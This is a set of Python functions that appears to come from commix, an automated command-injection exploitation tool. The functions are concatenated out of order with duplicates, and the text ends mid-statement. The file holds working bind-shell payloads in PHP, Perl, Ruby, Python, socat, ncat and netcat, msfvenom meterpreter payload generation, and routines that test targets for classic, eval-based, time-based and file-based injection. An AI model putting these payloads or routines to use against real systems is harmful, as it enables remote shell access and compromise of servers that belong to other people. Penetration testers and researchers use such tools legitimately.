def do_check(url, filename): # Check for '--tor' option. if menu.options.tor: if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " warn_msg += "time-based injections because of inherent high latency time." print(settings.print_warning_msg(warn_msg)) # Check for '--backticks' option. if menu.options.enable_backticks: if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "The '--backticks' switch is only supported by the classic command injection. " warn_msg += "It will be ignored for all other techniques." print(settings.print_warning_msg(warn_msg)) + Style.RESET_ALL if menu.options.wizard: if perform_checks(url, filename) == False: scan_level = menu.options.level while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL ) and settings.LOAD_SESSION != True: if not menu.options.batch: question_msg = "Do you want to increase to '--level=" + str( scan_level + 1) question_msg += "' in order to perform more tests? [Y/n] > " next_level = _input( settings.print_question_msg(question_msg)) else: next_level = "" if len(next_level) == 0: next_level = "Y" if next_level in settings.CHOICE_YES: menu.options.level = int(menu.options.level + scan_level) if perform_checks( url, filename ) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL: scan_level = scan_level + 1 else: break elif next_level in settings.CHOICE_NO: break elif next_level in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + next_level + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: perform_checks(url, filename) # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False: if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: err_msg = "All tested parameters " if menu.options.level > 2: err_msg += "and headers " err_msg += "appear to be not injectable." if not menu.options.alter_shell: err_msg += " Try to use the option '--alter-shell'" else: err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL: err_msg += " and/or try to increase '--level' values to perform" err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)" else: if menu.options.skip_empty: err_msg += " and/or try to remove the option '--skip-empty'" err_msg += "." print(settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) if not settings.CHECK_BOTH_OS: # if not menu.options.bulkfile or settings.EOF: # print("") raise SystemExit() # eof
def other_bind_shells(separator): while True: other_shell = _input(""" ---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like bind TCP shells""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell. Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell. Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell. \n---[ """ + Style.BRIGHT + Fore.BLUE + """Windows bind TCP shells""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell. Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell. \ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-bind-shell if other_shell == '1': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print(settings.print_error_msg(error_msg)) continue payload = "php/bind_php" output = "php_bind_tcp.rc" info_msg = "Generating the '" + payload + "' payload. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: proc = subprocess.Popen( "msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, "r+") as content_file: data = content_file.readlines() data = ''.join(data).replace("\n", " ") print(settings.SPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set rhost " + str(settings.RHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" msf_launch_msg(output) except: print(settings.SPACE) break # Perl-bind-shell elif other_shell == '2': other_shell = "perl -MIO -e '" \ "$c=new IO::Socket::INET(LocalPort," + settings.LPORT + ",Reuse,1,Listen)->accept;" \ "$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'" break # Ruby-bind-shell elif other_shell == '3': other_shell = "ruby -rsocket -e '" \ "s=TCPServer.new(" + settings.LPORT + ");" \ "c=s.accept;" \ "s.close;" \ "$stdin.reopen(c);" \ "$stdout.reopen(c);" \ "$stderr.reopen(c);" \ "$stdin.each_line{|l|l=l.strip;" \ "next if l.length==0;" \ "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip)}})}'" break # Python-bind-shell elif other_shell == '4': other_shell = "python -c 'import pty,os,socket%0d" \ "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \ "s.bind((\"\"," + settings.LPORT + "))%0d" \ "s.listen(1)%0d" \ "(rem, addr) = s.accept()%0d" \ "os.dup2(rem.fileno(),0)%0d" \ "os.dup2(rem.fileno(),1)%0d" \ "os.dup2(rem.fileno(),2)%0d" \ "pty.spawn(\"/bin/sh\")%0d" \ "s.close()'" break # Socat-bind-shell elif other_shell == '5': other_shell = "socat tcp-listen:" + settings.LPORT + \ " exec:\"sh\"" break # Ncat-bind-shell elif other_shell == '6': other_shell = "ncat -k -l " + settings.LPORT + " -e /bin/sh" break # PHP-bind-shell(meterpreter) elif other_shell == '7': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print(settings.print_error_msg(error_msg)) continue payload = "php/meterpreter/bind_tcp" output = "php_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: proc = subprocess.Popen( "msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, "r+") as content_file: data = content_file.readlines() data = ''.join(data).replace("\n", " ") print(settings.SPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set rhost " + str(settings.RHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" msf_launch_msg(output) except: print(settings.SPACE) break # Python-bind-shell(meterpreter) elif other_shell == '8': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print(settings.print_error_msg(error_msg)) continue payload = "python/meterpreter/bind_tcp" output = "py_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + " LPORT=" + str(settings.LPORT) + " -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, "r") as content_file: data = content_file.readlines() data = ''.join(data) data = base64.b64encode(data) print(settings.SPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set rhost " + str(settings.RHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))" else: other_shell = "python -c \"exec('" + data + "'.decode('base64'))\"" msf_launch_msg(output) except: print(settings.SPACE) break # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(other_shell): return shell_options(other_shell) # Invalid option else: err_msg = "The '" + other_shell + "' option, is not valid." print(settings.print_error_msg(err_msg)) continue return other_shell
def injection_proccess(url, check_parameter, http_request_method, filename, timesec): if menu.options.ignore_code: info_msg = "Ignoring '" + str( menu.options.ignore_code) + "' HTTP error code. " print(settings.print_info_msg(info_msg)) # Skipping specific injection techniques. if settings.SKIP_TECHNIQUES: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) for skip_tech_name in settings.AVAILABLE_TECHNIQUES: if skip_tech_name in menu.options.skip_tech: menu.options.tech = menu.options.tech.replace( skip_tech_name, "") if len(menu.options.tech) == 0: err_msg = "Detection procedure was aborted due to skipping all injection techniques." print(settings.print_critical_msg(err_msg)) raise SystemExit # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header" else: if settings.COOKIE_INJECTION: header_name = " cookie" else: header_name = "" the_type = " parameter" check_parameter = " '" + check_parameter + "'" # Estimating the response time (in seconds) timesec, url_time_response = requests.estimate_response_time(url, timesec) # Load modules modules_handler.load_modules(url, http_request_method, filename) # Check for identified warnings url = heuristic_basic(url, http_request_method) if settings.IDENTIFIED_WARNINGS: if not settings.SKIP_COMMAND_INJECTIONS: ci = "command injection techniques" ce = "code injection technique" if not menu.options.batch: question_msg = "Do you want to skip test payloads for " question_msg += ci + "? [Y/n] > " procced_option = _input( settings.print_question_msg(question_msg)) else: procced_option = "" if procced_option in settings.CHOICE_YES or len( procced_option) == 0: if settings.VERBOSITY_LEVEL >= 1: debug_msg = "Skipping " + ci + "." print(settings.print_debug_msg(debug_msg)) settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True elif procced_option in settings.CHOICE_NO: if settings.VERBOSITY_LEVEL >= 1: debug_msg = "Skipping " + ce + "." print(settings.print_debug_msg(debug_msg)) settings.SKIP_CODE_INJECTIONS = True settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = False elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if not settings.LOAD_SESSION: info_msg = "Setting the" if not header_name == " cookie" and not the_type == " HTTP header": info_msg += " " + http_request_method + "" info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)')[settings.IS_XML] if header_name == " cookie": info_msg += header_name + the_type + check_parameter + " for tests." else: info_msg += the_type + header_name + check_parameter + " for tests." print(settings.print_info_msg(info_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ menu.options.failed_tries: warn_msg = "Due to the provided (unsuitable) injection technique" warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " warn_msg += "the option '--failed-tries' will be ignored." print(settings.print_warning_msg(warn_msg)) + Style.RESET_ALL # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. if menu.options.web_root and \ menu.options.tech and not "f" in menu.options.tech: if not menu.options.web_root.endswith("/"): menu.options.web_root = menu.options.web_root + "/" if checks.procced_with_file_based_technique(): menu.options.tech = "f" if not menu.options.tech: menu.options.tech = "" if len(menu.options.tech) == 0 or "c" in menu.options.tech: settings.CLASSIC_STATE = True if len(menu.options.tech) == 0 or "e" in menu.options.tech: settings.EVAL_BASED_STATE = True if len(menu.options.tech) == 0 or "t" in menu.options.tech: settings.TIME_BASED_STATE = True if len(menu.options.tech) == 0 or "f" in menu.options.tech: settings.FILE_BASED_STATE = True # Check if it is vulnerable to classic command injection technique. if not settings.SKIP_COMMAND_INJECTIONS and settings.CLASSIC_STATE: settings.CLASSIC_STATE = None if cb_handler.exploitation(url, timesec, filename, http_request_method) != False: if settings.EVAL_BASED_STATE: if not menu.options.batch: settings.CLASSIC_STATE = True question_msg = "Due to results, " question_msg += "skipping of code injection checks is recommended. " question_msg += "Do you agree? [Y/n] > " procced_option = _input( settings.print_question_msg(question_msg)) else: procced_option = "" if len(procced_option) == 0: procced_option = "Y" if procced_option in settings.CHOICE_YES: if settings.VERBOSITY_LEVEL >= 1: debug_msg = "Skipping code injection checks." print(settings.print_debug_msg(debug_msg)) settings.SKIP_CODE_INJECTIONS = True elif procced_option in settings.CHOICE_NO: pass elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: settings.CLASSIC_STATE = False # Check if it is vulnerable to eval-based code injection technique. if not settings.SKIP_CODE_INJECTIONS and settings.EVAL_BASED_STATE: settings.EVAL_BASED_STATE = None if eb_handler.exploitation(url, timesec, filename, http_request_method) != False: if not menu.options.batch: settings.EVAL_BASED_STATE = True question_msg = "Due to results, " question_msg += "skipping of further command injection checks is recommended. " question_msg += "Do you agree? [Y/n] > " procced_option = _input( settings.print_question_msg(question_msg)) else: procced_option = "" if len(procced_option) == 0: procced_option = "Y" if procced_option in settings.CHOICE_YES: if settings.VERBOSITY_LEVEL >= 1: debug_msg = "Skipping command injection checks." print(settings.print_debug_msg(debug_msg)) settings.SKIP_COMMAND_INJECTIONS = True elif procced_option in settings.CHOICE_NO: pass elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: settings.EVAL_BASED_STATE = False if not settings.SKIP_COMMAND_INJECTIONS: # Check if it is vulnerable to time-based blind command injection technique. if settings.TIME_BASED_STATE: settings.TIME_BASED_STATE = None if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) != False: settings.TIME_BASED_STATE = True else: settings.TIME_BASED_STATE = False # Check if it is vulnerable to file-based semiblind command injection technique. if settings.FILE_BASED_STATE: settings.FILE_BASED_STATE = None if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) != False: settings.FILE_BASED_STATE = True else: settings.FILE_BASED_STATE = False # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False: warn_msg = "The tested" if not header_name == " cookie" and not the_type == " HTTP header": warn_msg += " " + http_request_method + "" warn_msg += the_type + header_name + check_parameter warn_msg += " seems to be not injectable." print(settings.print_warning_msg(warn_msg)) + Style.RESET_ALL
def do_check(url): """ This functinality is based on Filippo's Valsorda script [1]. --- [1] https://gist.github.com/FiloSottile/2077115 """ class Request(_urllib.request.Request): def get_method(self): return "GET" class RedirectHandler(_urllib.request.HTTPRedirectHandler): """ Subclass the HTTPRedirectHandler to make it use our Request also on the redirected URL """ def redirect_request(self, req, fp, code, msg, headers, redirected_url): if code in (301, 302, 303, 307): redirected_url = redirected_url.replace(' ', '%20') newheaders = dict( (k, v) for k, v in req.headers.items() if k.lower() not in ("content-length", "content-type")) warn_msg = "Got a " + str( code) + " redirection (" + redirected_url + ")." print(settings.print_warning_msg(warn_msg)) return Request(redirected_url, headers=newheaders, origin_req_host=req.get_origin_req_host(), unverifiable=True) else: err_msg = str( _urllib.error.HTTPError(req.get_full_url(), code, msg, headers, fp)).replace(": ", " (") print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() class HTTPMethodFallback(_urllib.request.BaseHandler): """ """ def http_error_405(self, req, fp, code, msg, headers): fp.read() fp.close() newheaders = dict( (k, v) for k, v in req.headers.items() if k.lower() not in ("content-length", "content-type")) return self.parent.open( _urllib.request.Request( req.get_full_url(), headers=newheaders, origin_req_host=req.get_origin_req_host(), unverifiable=True)) # Build our opener opener = _urllib.request.OpenerDirector() # Check if defined any Host HTTP header. if menu.options.host and settings.HOST_INJECTION == False: opener.addheaders.append(('Host', menu.options.host)) # Check if defined any User-Agent HTTP header. if menu.options.agent: opener.addheaders.append(('User-Agent', menu.options.agent)) # Check if defined any Referer HTTP header. if menu.options.referer and settings.REFERER_INJECTION == False: opener.addheaders.append(('Referer', menu.options.referer)) # Check if defined any Cookie HTTP header. if menu.options.cookie and settings.COOKIE_INJECTION == False: opener.addheaders.append(('Cookie', menu.options.cookie)) for handler in [ _urllib.request.HTTPHandler, HTTPMethodFallback, RedirectHandler, _urllib.request.HTTPErrorProcessor, _urllib.request.HTTPSHandler ]: opener.add_handler(handler()) try: response = opener.open(Request(url)) redirected_url = response.geturl() if redirected_url != url: while True: if not menu.options.batch: question_msg = "Do you want to follow the identified redirection? [Y/n] > " redirection_option = _input( settings.print_question_msg(question_msg)) else: redirection_option = "" if len(redirection_option ) == 0 or redirection_option in settings.CHOICE_YES: if menu.options.batch: info_msg = "Following redirection to '" + redirected_url + "'. " print(settings.print_info_msg(info_msg)) return redirected_url elif redirection_option in settings.CHOICE_NO: return url elif redirection_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + redirection_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: return url except AttributeError: pass # Raise exception due to ValueError. except ValueError as err: err_msg = str(err).replace(": ", " (") print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() # Raise exception regarding urllib2 HTTPError. except _urllib.error.HTTPError as err: err_msg = str(err).replace(": ", " (") print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() # The target host seems to be down. except _urllib.error.URLError as err: err_msg = "The host seems to be down" try: err_msg += " (" + str(err.args[0]).split("] ")[1] + ")." except IndexError: err_msg += "." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Raise exception regarding infinite loop. except RuntimeError: err_msg = "Infinite redirect loop detected." err_msg += "Please check all provided parameters and/or provide missing ones." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Raise exception regarding existing connection was forcibly closed by the remote host. except SocketError as err: if err.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." print(settings.print_critical_msg(error_msg)) elif err.errno == errno.ECONNREFUSED: error_msg = "Connection refused." print(settings.print_critical_msg(error_msg)) raise SystemExit() # Raise exception regarding connection aborted. except Exception: err_msg = "Connection aborted." print(settings.print_critical_msg(err_msg)) raise SystemExit() # eof
def netcat_version(separator): # Defined shell shell = "sh" # Netcat alternatives NETCAT_ALTERNATIVES = ["nc", "busybox nc", "nc.traditional", "nc.openbsd"] while True: nc_version = _input(""" ---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like targets""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. \ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] break # Netcat for Busybox if nc_version == '2': nc_alternative = NETCAT_ALTERNATIVES[1] break # Netcat-Traditional elif nc_version == '3': nc_alternative = NETCAT_ALTERNATIVES[2] break # Netcat-Openbsd (nc without -e) elif nc_version == '4': nc_alternative = NETCAT_ALTERNATIVES[3] break # Check for available shell options elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): if shell_options(nc_version): return shell_options(nc_version) # Invalid command else: err_msg = "The '" + nc_version + "' option, is not valid." print(settings.print_error_msg(err_msg)) continue while True: if not menu.options.batch: question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > " enable_bin_dir = _input(settings.print_question_msg(question_msg)) else: enable_bin_dir = "" if len(enable_bin_dir) == 0: enable_bin_dir = "n" if enable_bin_dir in settings.CHOICE_NO: break elif enable_bin_dir in settings.CHOICE_YES: nc_alternative = "/bin/" + nc_alternative shell = "/bin/" + shell break elif enable_bin_dir in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enable_bin_dir + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if nc_version != '4': # Netcat with -e cmd = nc_alternative + " -l -p " + settings.LPORT + " -e " + shell else: # nc without -e cmd = shell + " -c \"" + shell + " 0</tmp/f | " + \ nc_alternative + " -l -p " + settings.LPORT + \ " 1>/tmp/f\"" return cmd
def do_check(url): """ This functinality is based on Filippo's Valsorda script [1]. --- [1] https://gist.github.com/FiloSottile/2077115 """ class Request(_urllib.request.Request): def get_method(self): return settings.HTTPMETHOD.HEAD class RedirectHandler(_urllib.request.HTTPRedirectHandler): """ Subclass the HTTPRedirectHandler to make it use our Request also on the redirected URL """ def redirect_request(self, req, fp, code, msg, headers, redirected_url): if code in (301, 302, 303, 307): redirected_url = redirected_url.replace(' ', '%20') newheaders = dict( (k, v) for k, v in req.headers.items() if k.lower() not in ("content-length", "content-type")) warn_msg = "Got a " + str( code) + " redirection (" + redirected_url + ")." print(settings.print_warning_msg(warn_msg)) return Request( redirected_url, headers=newheaders, # origin_req_host = req.get_origin_req_host(), unverifiable=True) else: err_msg = str( _urllib.error.HTTPError(req.get_full_url(), code, msg, headers, fp)).replace(": ", " (") print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() class HTTPMethodFallback(_urllib.request.BaseHandler): """ """ def http_error_405(self, req, fp, code, msg, headers): fp.read() fp.close() newheaders = dict( (k, v) for k, v in req.headers.items() if k.lower() not in ("content-length", "content-type")) return self.parent.open( _urllib.request.Request( req.get_full_url(), headers=newheaders, # origin_req_host = req.get_origin_req_host(), unverifiable=True)) # Build our opener opener = _urllib.request.OpenerDirector() # Check if defined any Host HTTP header. if menu.options.host and settings.HOST_INJECTION == False: opener.addheaders.append(('Host', menu.options.host)) # Check if defined any User-Agent HTTP header. if menu.options.agent: opener.addheaders.append(('User-Agent', menu.options.agent)) # Check if defined any Referer HTTP header. if menu.options.referer and settings.REFERER_INJECTION == False: opener.addheaders.append(('Referer', menu.options.referer)) # Check if defined any Cookie HTTP header. if menu.options.cookie and settings.COOKIE_INJECTION == False: opener.addheaders.append(('Cookie', menu.options.cookie)) # Check if defined any HTTP Authentication credentials. # HTTP Authentication: Basic / Digest Access Authentication. if menu.options.auth_cred and menu.options.auth_type: try: settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) if menu.options.auth_type == "basic": b64_string = encodebytes( menu.options.auth_cred.encode( settings.UNICODE_ENCODING)).decode().replace('\n', '') opener.addheaders.append( ("Authorization", "Basic " + b64_string + "")) elif menu.options.auth_type == "digest": try: url = menu.options.url try: response = _urllib.request.urlopen( url, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as e: try: authline = e.headers.get('www-authenticate', '') authobj = re.match('''(\w*)\s+realm=(.*),''', authline).groups() realm = authobj[1].split(',')[0].replace("\"", "") user_pass_pair = menu.options.auth_cred.split(":") username = user_pass_pair[0] password = user_pass_pair[1] authhandler = _urllib.request.HTTPDigestAuthHandler( ) authhandler.add_password(realm, url, username, password) opener = _urllib.request.build_opener(authhandler) _urllib.request.install_opener(opener) result = _urllib.request.urlopen( url, timeout=settings.TIMEOUT) except AttributeError: pass except _urllib.error.HTTPError as e: pass except ValueError: err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'." err_msg += " Try basic or digest HTTP authentication type." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: pass for handler in [ _urllib.request.HTTPHandler, HTTPMethodFallback, RedirectHandler, _urllib.request.HTTPErrorProcessor, _urllib.request.HTTPSHandler ]: opener.add_handler(handler()) try: # Return a Request or None in response to a redirect. response = opener.open(Request(url)) if response == None: return url else: redirected_url = response.geturl() if redirected_url != url: while True: if not menu.options.batch: question_msg = "Do you want to follow the identified redirection? [Y/n] > " redirection_option = _input( settings.print_question_msg(question_msg)) else: redirection_option = "" if len(redirection_option ) == 0 or redirection_option in settings.CHOICE_YES: if menu.options.batch: info_msg = "Following redirection to '" + redirected_url + "'. " print(settings.print_info_msg(info_msg)) return redirected_url elif redirection_option in settings.CHOICE_NO: return url elif redirection_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + redirection_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: return url except AttributeError: pass # Raise exception due to ValueError. except ValueError as err: err_msg = str(err).replace(": ", " (") print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() # Raise exception regarding urllib2 HTTPError. except _urllib.error.HTTPError as err: # Raise exception regarding infinite loop. if "infinite loop" in str(err): err_msg = "Infinite redirect loop detected." err_msg += "Please check all provided parameters and/or provide missing ones." print(settings.print_critical_msg(err_msg)) else: err_msg = str(err).replace(": ", " (") print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() # The target host seems to be down. except _urllib.error.URLError as err: err_msg = "The host seems to be down" try: err_msg += " (Reason: " + str( err.args[0]).split("] ")[-1].lower() + ")." except IndexError: err_msg += "." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Raise exception regarding existing connection was forcibly closed by the remote host. except SocketError as err: if err.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." print(settings.print_critical_msg(error_msg)) elif err.errno == errno.ECONNREFUSED: error_msg = "Connection refused." print(settings.print_critical_msg(error_msg)) raise SystemExit() # Raise exception regarding connection aborted. except Exception: err_msg = "Connection aborted." print(settings.print_critical_msg(err_msg)) raise SystemExit() # eof
if menu.options.tor_check and not menu.options.tor: err_msg = "The '--check-tor' swich requires usage of switch '--tor'." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--ignore-code" option. if menu.options.ignore_code and "," in menu.options.ignore_code: err_msg = "Ignoring more than one HTTP error code, is not yet supported." print(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.wizard: if not menu.options.url: while True: question_msg = "Please enter full target URL (-u) > " menu.options.url = _input( settings.print_question_msg(question_msg)) if len(menu.options.url) == 0: pass else: break question_msg = "Please enter POST data (--data) [Enter for none] > " menu.options.data = _input( settings.print_question_msg(question_msg)) if len(menu.options.data) == 0: menu.options.data = False # Retries when the connection timeouts. if menu.options.retries: settings.MAX_RETRIES = menu.options.retries # Seconds to delay between each HTTP request.
def installer(): packages = "build-essential python-dev" dependencies = "git python-pip" info_msg = "Starting the installer... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Check if OS is Linux. if platform.system() == "Linux": # You need to have root privileges to run this script if os.geteuid() != 0: print("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]") err_msg = "You need to have root privileges to run this option!" print(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if commix is already installed. if os.path.isdir("/usr/share/" + settings.APPLICATION + ""): print("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]") warn_msg = "It seems that " + settings.APPLICATION warn_msg += " is already installed in your system." print(settings.print_warning_msg(warn_msg)) while True: if not menu.options.batch: question_msg = "Do you want to remove commix? [Y/n] > " uninstall = _input( settings.print_question_msg(question_msg)) else: uninstall = "" if len(uninstall) == 0: uninstall = "y" if uninstall in settings.CHOICE_YES: uninstaller() raise SystemExit() elif uninstall in settings.CHOICE_NO or \ uninstall in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + uninstall + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass # Check for git. if not os.path.isfile("/usr/bin/git") or not os.path.isfile( "/usr/bin/pip"): # Install requirement. if os.path.isfile("/etc/apt/sources.list"): sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() # Check for dependencies. dependencies_items = dependencies.split() for item in dependencies_items: requirments.do_check(item) else: print("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]") err_msg = "The installer is not designed for any " err_msg += "other Linux distro than Ubuntu / Debian. " err_msg += "Please install manually: " + dependencies print(Back.RED + err_msg + Style.RESET_ALL) print("") raise SystemExit() # Force install of necessary packages subprocess.Popen("apt-get --force-yes -y install " + packages + ">/dev/null 2>&1", shell=True).wait() sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() info_msg = "Installing " + settings.APPLICATION info_msg += " into the /usr/share/" + settings.APPLICATION + "... " sys.stdout.write(settings.print_info_msg(info_msg)) try: current_dir = os.getcwd() subprocess.Popen("cp -r " + current_dir + " /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() subprocess.Popen("chmod 775 /usr/share/" + settings.APPLICATION + "/" + settings.APPLICATION + ".py >/dev/null 2>&1", shell=True).wait() except: print("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]") raise SystemExit() sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() info_msg = "Installing " + settings.APPLICATION info_msg += " to /usr/bin/" + settings.APPLICATION + "... " sys.stdout.write(settings.print_info_msg(info_msg)) try: with open("/usr/bin/" + settings.APPLICATION, 'w') as f: f.write('#!/bin/bash\n') f.write('cd /usr/share/commix/ && ./commix.py "$@"\n') subprocess.Popen("chmod +x /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() except: print("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]") raise SystemExit() sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() #Create the Output Directory OUTPUT_DIR = ".output/" try: os.stat(OUTPUT_DIR) except: os.mkdir(OUTPUT_DIR) success_msg = "The installation is finished! Type '" success_msg += 